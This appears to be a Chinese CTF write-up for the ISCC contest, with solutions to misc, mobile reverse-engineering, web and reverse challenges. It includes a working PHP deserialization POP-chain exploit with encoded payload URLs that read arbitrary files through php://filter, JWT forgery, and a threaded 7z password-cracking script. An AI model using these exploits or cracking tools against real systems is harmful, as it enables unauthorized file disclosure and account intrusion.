Misc
神经网络迷踪
非预期:
查看模型内容:
import torch
try:
model_weights = torch.load('attachment-38.pth', map_location=torch.device('cpu'))
print("模型结构:")
for key, value in model_weights.items():
print(f"{key}: {value.shape}")
except Exception as e:
print(f"加载模型时出错: {e}")
fc1.weight: torch.Size([16, 16])
fc1.bias: torch.Size([16])
secret_key.weight: torch.Size([4, 16])
fc_secret.weight: torch.Size([4, 16])
output.weight: torch.Size([4, 4])
output.bias: torch.Size([4])
这里特殊的张量为secret_key和fc_secret
这里用bandzip发现可以直接解包
这里注意到文件夹的名字很特殊,尝试提交ISCC{game},发现成功,应该是非预期了
ISCC{game}
预期解:
import torch
try :
model_weights = torch.load('attachment-38.pth',
map_location = torch.device('cpu'))
print("模型结构:")
for key, value in model_weights.items() :
print(f"{key}: {value.shape}")
except Exception as e :
print(f"加载模型时出错: {e}")
fc1.weight: torch.Size([16, 16])
fc1.bias: torch.Size([16])
secret_key.weight: torch.Size([4, 16])
fc_secret.weight: torch.Size([4, 16])
output.weight: torch.Size([4, 4])
output.bias: torch.Size([4])
这里特殊的张量为secret_key和fc_secret
重点就是分析这俩个张量,有隐藏信息:
提取神经网络最后一层的偏置参数
import torch as t
from struct import pack, unpack
def get_bias_values(path):
tensor_map = t.load(path)
weights = tensor_map.get('output.bias', None)
if weights is None:
raise RuntimeError("Expected key not found in model state.")
transform = lambda x: int(pack('f', x)[0] * 255) & 0xFF if x >= 0 else int(t.round(x * 255)) & 0xFF
encoded = list(map(lambda val: int(t.round(val * 255)) & 0xFF, weights))
return encoded
if __name__ == "__main__":
filename = "attachment-38.pth"
output_sequence = get_bias_values(filename)
print(output_sequence)
发现隐藏信息
十进制转字符拿到flag
拿到ISCC{game}
八卦
这题太有说法了,和出题人对了30个小时的脑电波,做出来的建议和出题人原地结婚
题目给了gif图片,
查看gif文件十六进制数值,发现文件尾有7z压缩包,提取出来:
提取出来每一帧:使用ctftools工具提取:
在1 2 3 5图片中有base64编码:
5Lm+5Li65aSp 4WY3DZVQWTUJFGI= 5rC06Zu35bGv 42YLJZNEVHUZZAA=
解出来就是:
第1帧 乾为天 1 乾乾
第2帧 山水蒙 4 艮坎
第3帧 水雷屯 3 坎震
第4帧
第5帧 水天需 5 坎乾
第6帧
之后上了hint:
这里先开始的思路是,求出帧间隔[‘200’, ‘300’, ‘200’, ‘300’, ‘200’, ‘300’]
按帧间隔来说 把200换成断掉的,300换成完整的—
那就是对应的水火济
再根据hint2:是否存在内容
1235存在,26不存在,那可能就是存在为完整的线,不存在则断开
则为天水讼
另外LSB隐写中,都存在base64隐写,转换过来就是坤为地
到这里为止,根据hint中说分为上卦和下卦,将其分开
第1帧 乾为天 乾乾
第2帧 山水蒙 艮坎
第3帧 水雷屯 坎震
第5帧 水天需 坎乾
lSB 坤为地 坤坤
帧间隔 水火济 坎离
存在内容天水讼 乾坎
尝试八进制——>ASCII 无解
尝试转010——>ASCII 摩斯 无解
尝试直接按时序排序——>直接解码 无解
重新分析问题,已知有七卦,目前我们肯定的是有五卦,还差俩挂
乾 艮 坎 坎 坤
乾 坎 震 乾 坤
按上卦在前下卦在后 并且按时序排序得到
乾坤艮坎坎 乾乾坤震坎
那么这里还短四个字符,让AI生成脚本:
指令如下:
已知密码14位,现在已知俩组数据乾坤艮坎坎 乾乾坤震坎 还差四个字符,排序是这样的:乾坤震巽坎离艮兑,在前面五个数据中随机插入俩个字符,在后面五个数据中随机插入俩个字符,插入时要注意插入的位置,再把俩段按从前到后拼接,写脚本生成字典,可重复,而且第一位一定是乾
爆破脚本如下:
import time
import os
import subprocess
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
from queue import Queue
from threading import Thread
def crack_7z_with_dict(archive_path, dict_path, max_workers=4, seven_zip_path=r'"C:/Program Files/7-Zip/7z.exe"'):
"""
使用密码字典多线程爆破7z压缩包密码
参数:
archive_path (str): 待破解的7z文件路径
dict_path (str): 密码字典文件路径(每行一个密码)
max_workers (int): 最大工作线程数
seven_zip_path (str): 7-Zip可执行文件路径
"""
if not os.path.exists(archive_path):
print(f"错误: 文件 '{archive_path}' 不存在")
return
if not os.path.exists(dict_path):
print(f"错误: 字典文件 '{dict_path}' 不存在")
return
total_attempts = 0
start_time = time.time()
found = False
processed_queue = Queue()
# 统计字典行数(总尝试次数)
print(f"正在统计字典文件行数...")
with open(dict_path, 'r', encoding='utf-8', errors='ignore') as f:
total_possibilities = sum(1 for _ in f)
if total_possibilities == 0:
print("错误: 字典文件为空")
return
def try_password(password):
nonlocal total_attempts, found
if found:
return
password = password.strip() # 去除首尾空格和换行符
if not password:
processed_queue.put(0) # 空行也计数但不执行命令
return
total_attempts += 1
# 执行解压命令
cmd = f'{seven_zip_path} x -p"{password}" -y "{archive_path}" -o"temp_extract"'
result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# 更新处理队列
processed_queue.put(1)
# 检查解压结果
if result.returncode == 0 and b"Everything is Ok" in result.stdout:
elapsed_time = time.time() - start_time
print(f"\n密码找到: {password}")
print(f"尝试次数: {total_attempts}")
print(f"耗时: {elapsed_time:.2f}秒")
print(f"速度: {total_attempts/elapsed_time:.2f}次/秒")
found = True
return password
return None
def progress_display():
"""实时显示进度的辅助线程"""
processed = 0
last_update = 0
update_interval = 0.5 # 进度更新间隔(秒)
last_speed_samples = []
speed_sample_size = 10 # 计算平均速度的样本数量
while processed < total_possibilities and not found:
# 从队列中获取已处理数量
while not processed_queue.empty():
processed += processed_queue.get()
# 控制更新频率,避免过于频繁
current_time = time.time()
if current_time - last_update >= update_interval:
elapsed = current_time - start_time
progress = processed / total_possibilities * 100
# 计算速度 (平滑处理)
if elapsed > 0:
current_speed = processed / elapsed
last_speed_samples.append(current_speed)
if len(last_speed_samples) > speed_sample_size:
last_speed_samples.pop(0)
avg_speed = sum(last_speed_samples) / len(last_speed_samples)
else:
avg_speed = 0
# 计算ETA
if avg_speed > 0:
remaining = total_possibilities - processed
eta_seconds = remaining / avg_speed
eta_str = time.strftime('%H:%M:%S', time.gmtime(eta_seconds))
else:
eta_str = "未知"
# 更新进度显示
sys.stdout.write(f"\r进度: {progress:.2f}% | 已处理: {processed:,}/{total_possibilities:,} | "
f"速度: {avg_speed:.2f}次/秒 | 预计剩余: {eta_str}")
sys.stdout.flush()
last_update = current_time
time.sleep(0.1) # 减少CPU占用
# 显示最终进度
final_time = time.time() - start_time
final_speed = total_attempts / final_time if final_time > 0 else 0
sys.stdout.write(f"\r进度: 100.00% | 已处理: {total_possibilities:,}/{total_possibilities:,} | "
f"速度: {final_speed:.2f}次/秒 | 总耗时: {time.strftime('%H:%M:%S', time.gmtime(final_time))}")
sys.stdout.flush()
print(f"开始破解7z文件: {archive_path}")
print(f"字典路径: {dict_path}")
print(f"总密码条目: {total_possibilities:,}")
print(f"工作线程数: {max_workers}")
print("正在尝试字典中的密码...")
# 创建临时解压目录
if not os.path.exists("temp_extract"):
os.makedirs("temp_extract")
# 启动进度显示线程
progress_thread = Thread(target=progress_display)
progress_thread.daemon = True
progress_thread.start()
# 读取字典文件并并行尝试密码
with open(dict_path, 'r', encoding='utf-8', errors='ignore') as f, \
ThreadPoolExecutor(max_workers=max_workers) as executor:
# 使用future列表跟踪所有任务
future_to_password = {executor.submit(try_password, line): line for line in f}
# 处理完成的任务
for future in as_completed(future_to_password):
if found:
break
result = future.result()
if result:
return result
# 等待进度线程完成最后的更新
progress_thread.join(timeout=1.0)
print("\n遗憾,字典中未找到正确密码。")
print(f"尝试次数: {total_attempts}")
print(f"耗时: {time.time() - start_time:.2f}秒")
return None
if __name__ == "__main__":
# 配置参数
archive_path = "1.7z" # 待破解的7z文件路径
dict_path = "password_dictionary.txt" # 密码字典文件路径(需提前生成)
max_workers = 4 # 工作线程数
seven_zip_path = r'"C:/Program Files/7-Zip/7z.exe"' # 7-Zip路径
# 检查7-Zip路径是否存在
if not os.path.exists(seven_zip_path.strip('"')):
print(f"警告: 7-Zip路径不存在: {seven_zip_path}")
print("请确保路径正确,否则脚本可能无法正常工作。")
# 执行爆破
crack_7z_with_dict(archive_path, dict_path, max_workers, seven_zip_path=seven_zip_path)
成功找到密码:乾乾坤坤坎震艮坎坎乾艮坤兑兑
解压得到txt文件:文本内容:U1ZORFEzdGxhbEpWYW5ocE9UTXpmUT09
随波逐流一把梭出flag:
Mobi
叽米是梦的开场白
查看MainActivity,
调用了三个方法对flag进行验证
分析flag验证流程:第一部分通过DEX文件验证,第二部分通过本地库验证
这里加载了本地库:System.loadLibrary(“mobile04”)
分析libmobile04.so,Java_com_example_mobile04_MainActivity_getEncryptedSegment函数中aDex035指针指向Dex的加密数据
提取出来dex
jadx分析:
发现密文和加密方式
[66, 50, 65, 56, 65, 54, 54, 56, 69, 70, 69, 49, 48, 49, 65, 70]
分析libSunday的Java_com_example_mobile04_Sunday_getKey函数
这里返回了DESede密钥:jVLC4rGRfw2PPcXrJlEiLluj
拿到第一段flag:jueUQz
checkflag2的enreal.so是加密的,分析加密逻辑
分析libMonday.so的Java_com_example_mobile04_a_checkFlag2函数
这里注意到了有异或的操作:
if (v8 < 8) {
for (i = 0LL; i != v8; ++i)
*(_BYTE *)(v9 + i) = ((char)((((unsigned __int16)*(char *)(v9 + i) >> 6) | (4 * *(_BYTE *)(v9 + i))) ^ 0x12) >> 3) | (32 * ((((unsigned __int16)*(char *)(v9 + i) >> 6) | (4 * *(_BYTE *)(v9 + i))) ^ 0x12));
goto LABEL_19;
}
写脚本提取文件:
def obfuscate(byte):
byte = ((byte << 2) | (byte >> 6)) & 0xFF
byte ^= 0x12
byte = ((byte >> 3) | (byte << 5)) & 0xFF
return byte
with open("enreal", "rb") as infile, open("deenreal", "wb") as outfile:
outfile.write(bytes(obfuscate(b) for b in infile.read()))
IDA分析deenreal文件:
找到密文和密钥:
密文:0xC643E6AB95DFE255LL
密钥:91q80GQO436NVM1S0AAGFXw7
找到第二段flag:vjrRpZSA
俩段flag拼接:ISCC{jueUQzvjrRpZSA}
GGAD
分析MainActivity类
这里加载ggad本地库,并validateKey函数来验证输入的密钥。
查看b类:
主要功能是验证输入字符串是否符合特定条件
查看validateOddPositions方法:
将奇数位置字符转换为二进制字符串,再与PRESET_VALUE比较
将偶数位置字符与c.a()比较
查看c类:
这里对加密数据处理,进行RC4解密和维吉尼亚解密
密文为:“159G2C034P0E5G”
分析出加密流程,还缺少密钥
导出so文件,查看Java_com_example_ggad_MainActivity_stringFromJNI函数,这里发现密钥
这里密钥在https://www.cmd5.com/default.aspx网站上成功破解,拿到密钥ExpectoPatronum
构造exp:
class CipherBreaker:
def __init__(self, secret_key):
self.magic_word = secret_key
def binary_to_text(self, binary_sequence):
return ''.join(chr(int(binary_sequence[i:i+8], 2)) for i in range(0, len(binary_sequence), 8))
def vigenere_decrypt(self, encrypted_text, key_phrase):
decrypted_chars = []
shift_values = [ord(c.upper()) - ord('A') for c in key_phrase]
key_length = len(shift_values)
key_position = 0
for char in encrypted_text:
if char.isalpha():
shift_amount = shift_values[key_position % key_length]
base_ord = ord('A') if char.isupper() else ord('a')
decrypted_ord = (ord(char) - base_ord - shift_amount) % 26 + base_ord
decrypted_chars.append(chr(decrypted_ord))
key_position += 1
else:
decrypted_chars.append(char)
return ''.join(decrypted_chars)
def merge_strings(self, first_str, second_str):
min_len = min(len(first_str), len(second_str))
return ''.join(f"{first_str[i]}{second_str[i]}" for i in range(min_len))
def hex_to_bitstring(self, hex_string):
byte_array = [int(hex_string[i:i+2], 16) for i in range(0, len(hex_string), 2)]
return ''.join(f"{b:08b}" for b in byte_array)
def invert_bits(self, bit_sequence):
return bit_sequence.translate(str.maketrans('01', '10'))
def rc4_initialization(self, key_material):
key_bytes = key_material.encode() if isinstance(key_material, str) else key_material
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + key_bytes[i % len(key_bytes)]) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_cipher(self, s_box, data_bytes):
input_bytes = data_bytes if isinstance(data_bytes, bytes) else data_bytes.encode()
i = j = 0
output_bytes = []
for byte in input_bytes:
i = (i + 1) % 256
j = (j + s_box[i]) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
output_bytes.append(byte ^ s_box[(s_box[i] + s_box[j]) % 256])
return bytes(output_bytes)
def decrypt_cipher(self, binary_cipher, text_cipher):
stage_one = self.binary_to_text(binary_cipher)
stage_two = self.vigenere_decrypt(text_cipher, self.magic_word)
stage_three = self.merge_strings(stage_one, stage_two)
stage_four = self.hex_to_bitstring(stage_three)
stage_five = self.invert_bits(stage_four)
stage_six = bytes(int(stage_five[i:i+8], 2) for i in range(0, len(stage_five), 8))
rc4_state = self.rc4_initialization(self.magic_word)
final_output = self.rc4_cipher(rc4_state, stage_six)
return final_output
if __name__ == "__main__":
encrypted_binary = '0100001100110101001110010011001100110110001101010100010100110001001101000011001001000010001100000100010000110101'
encrypted_text = '159G2C034P0E5G'
secret_phrase = 'ExpectoPatronum'
decoder = CipherBreaker(secret_phrase)
plaintext = decoder.decrypt_cipher(encrypted_binary, encrypted_text)
flag = plaintext.decode()
print(flag)
Web
谁动了我的奶酪
猜测是汤姆动了杰瑞的奶酪,输入汤姆,跳转到新页面
拿到源码:
<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";
class Tom{
public $stolenCheese;
public $trap;
public function __construct($file='cheesemap.php'){
$this->stolenCheese = $file;
echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";
}
public function revealCheeseLocation(){
if($this->stolenCheese){
$cheeseGuardKey = "cheesemap.php";
echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));
$this->stolenCheese = str_rot3($cheeseGuardKey);
}
}
public function __toString(){
if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {
echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";
}else{
$this->trap['trap']->stolenCheese;
return "Tom";
}
}
public function stoleCheese(){
$Messages = [
"<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
"<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
"<h3>Cheese的香味越来越浓,谁在偷吃?</h3>",
"<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",
];
echo $Messages[array_rand($Messages)];
$this->revealCheeseLocation();
}
}
class Jerry{
protected $secretHidingSpot;
public $squeak;
public $shout;
public function searchForCheese($mouseHole){
include($mouseHole);
}
public function __invoke(){
$this->searchForCheese($this->secretHidingSpot);
}
}
class Cheese{
public $flavors;
public $color;
public function __construct(){
$this->flavors = array();
}
public function __get($slice){
$melt = $this->flavors;
return $melt();
}
public function __destruct(){
unserialize($this->color)();
echo "Where is my cheese?";
}
}
if (isset($_GET['cheese_tracker'])) {
unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
$clue = $_GET["clue"];
$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);
if (unserialize($clue)){
unserialize($clue)->squeak = "Thief!";
if(unserialize($clue)->shout === unserialize($clue)->squeak)
echo "cheese is hidden in ".$where;
else
echo "OHhhh no!find it yourself!";
}
}
?>
分析链子:Cheese对象被销毁时,会触发destruct方法,之后destruct方法反序列化color,之后color对象被当作函数调用,会触发invoke方法,之后调用searchForCheese,可以用filter伪协议实现任意文件读取。
exp:
<?php
class Jerry{
public $secretHidingSpot = 'php://filter/convert.base64-encode/resource=clue.php';
}
class Cheese{
public $color;
public function __construct($obj){
$this->color = serialize($obj);
}
}
$exploit = new Cheese(new Jerry());
$payload = serialize($exploit);
echo urlencode($payload);
?>
payload:
这里题目修复后源码改了,之前的思路复现不出来
http://112.126.73.173:10086/Y2hlZXNlT25l.php?cheese_tracker=O%3A6%3A%22Cheese%22%3A1%3A%7Bs%3A5%3A%22color%22%3Bs%3A100%3A%22O%3A5%3A%22Jerry%22%3A1%3A%7Bs%3A16%3A%22secretHidingSpot%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dclue.php%22%3B%7D%22%3B%7D
之后是读取flag_of_cheese.php文件
payload:
http://112.126.73.173:10086/Y2hlZXNlT25l.php?cheese_tracker=O%3A6%3A%22Cheese%22%3A1%3A%7Bs%3A5%3A%22color%22%3Bs%3A110%3A%22O%3A5%3A%22Jerry%22%3A1%3A%7Bs%3A16%3A%22secretHidingSpot%22%3Bs%3A62%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag_of_cheese.php%22%3B%7D%22%3B%7D
PD9waHAKICAgICRmbGFnID0gIklTQ0N7Y2gzM3NlX3RoIWVmXyE1X3RoZSI7CiAgICAvLyDkvYbmgI7kuYjlj6rmnInkuIDljYrlkaLvvJ8KCS8vIEplcnJ56L+Y5ZCs5Yiw5Yir55qE6byg6byg6K+0VG9t55SoMjLnmoQxNui/m+WItuW8guaIluS7gOS5iOeahO+8jOWVpeaEj+aAneWRou+8nwo/Pg==
base64解码:
<?php
$flag = "ISCC{ch33se_th!ef_!5_the";
// 但怎么只有一半呢?
// Jerry还听到别的鼠鼠说Tom用22的16进制异或什么的,啥意思呢?
?>
这里注意到路由的名字很特殊:Y2hlZXNlT25l.php
尝试解码:
cheeseOne
脑洞想到读取cheeseTow->Y2hlZXNlVHdv.php
进入下一关:
抓包测试,发现源码中有隐藏信息:
Jerry_Loves_Cheese
之后看到cookie里面的信息:
Cookie: PHPSESSID=223df301788476a7ae657f3f4c9f1bf1; auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImV4cCI6MTc0NzQ4NDgwMX0%3D.wJH-SrseEfPv3R23SAiwSxpy20WSZYZcvfBIJHEaV7w
一眼JWT,那前面解码出来的应该是key了
编辑cookie发送请求
拿到新的路由:c3933845e2b7d466a9776a84288b8d86.php
拿到编码I&x%Its7xy’IbsIaV’'ek
想到前面的内容:Jerry还听到别的鼠鼠说Tom用22的16进制异或什么的,啥意思呢?
异或拿到另一半flag
ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}
Reverse
CrackMe
进入main函数
求密钥要进入消息处理函数sub_1400013E0
分析函数
发现密钥为loc_140010010 且为42位
Shift+e提取42个数据
通过加密方式进行写脚本
from ida_bytes import *
# 字符集和映射表(打乱顺序)
charset = list("""ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz!#$%&'()*+,-./:;<=>?@[\]^_`{|}~""")
lookup = [
0x74, 0x73, 0x76, 0x75, 0x78, 0x77, 0x7A, 0x79, 0x62, 0x61, 0x20, 0x23, 0x22, 0x25, 0x24, 0x27,
0x26, 0x29, 0x28, 0x2B, 0x2A, 0x2D, 0x2C, 0x2F, 0x2E, 0x31, 0x30, 0x33, 0x32, 0x35, 0x34, 0x37,
0x36, 0x39, 0x38, 0x3B, 0x00, 0x03, 0x02, 0x05, 0x04, 0x07, 0x06, 0x09, 0x08, 0x0B, 0x0A, 0x0D,
0x0C, 0x0F, 0x0E, 0x11, 0x10, 0x13, 0x12, 0x15, 0x14, 0x17, 0x16, 0x19, 0x18, 0x1B, 0x60, 0x65,
0x68, 0x67, 0x6A, 0x69, 0x6C, 0x6B, 0x6E, 0x6D, 0x70, 0x6F, 0x72, 0x71, 0x7B, 0x63, 0x7D, 0x7C,
0x7F, 0x7E, 0x01, 0x1A, 0x1D, 0x1C, 0x1F, 0x1E, 0x21, 0x3A, 0x3D, 0x3C, 0x3F
]
# 解密密钥(重新排列)
key_sequence = [
0x67, 0xB8, 0x4F, 0x47, 0xAC, 0x72, 0x6D, 0xA2, 0x97, 0x13, 0x4E, 0x46, 0xDE, 0xF0, 0x31, 0x81,
0xC5, 0xE6, 0x92, 0xEE, 0x56, 0x9A, 0x52, 0x28, 0x0D, 0x6B, 0xF6, 0xE8, 0xD8, 0x24, 0x82, 0x3F,
0xAB, 0x15, 0x3E, 0x17, 0xBD, 0x91, 0x83, 0xFE, 0x7A, 0x74, 0x64, 0x4B, 0x1B, 0xAB, 0xE0, 0xB6
]
def process_data():
# 读取加密数据
encrypted = list(get_bytes(0x0140010010, 42))
# 异或解密(等价逻辑,不同实现)
for idx in range(len(encrypted)):
encrypted[idx] ^= (key_sequence[idx] ^ 0x73)
# 查找表解码(步长处理方式不同)
output = []
for i in range(0, len(encrypted), 2):
value = encrypted[i]
for j, v in enumerate(lookup):
if v == value:
output.append(charset[j])
break
# 输出结果
print(''.join(output), end="")
# 执行处理
process_data()
IDA中script command运行:
总结
这个比赛太有说法了。
来自大佬的评价:
https://mp.weixin.qq.com/s/4GUwW8DaSS7pTVlQh9-iDQ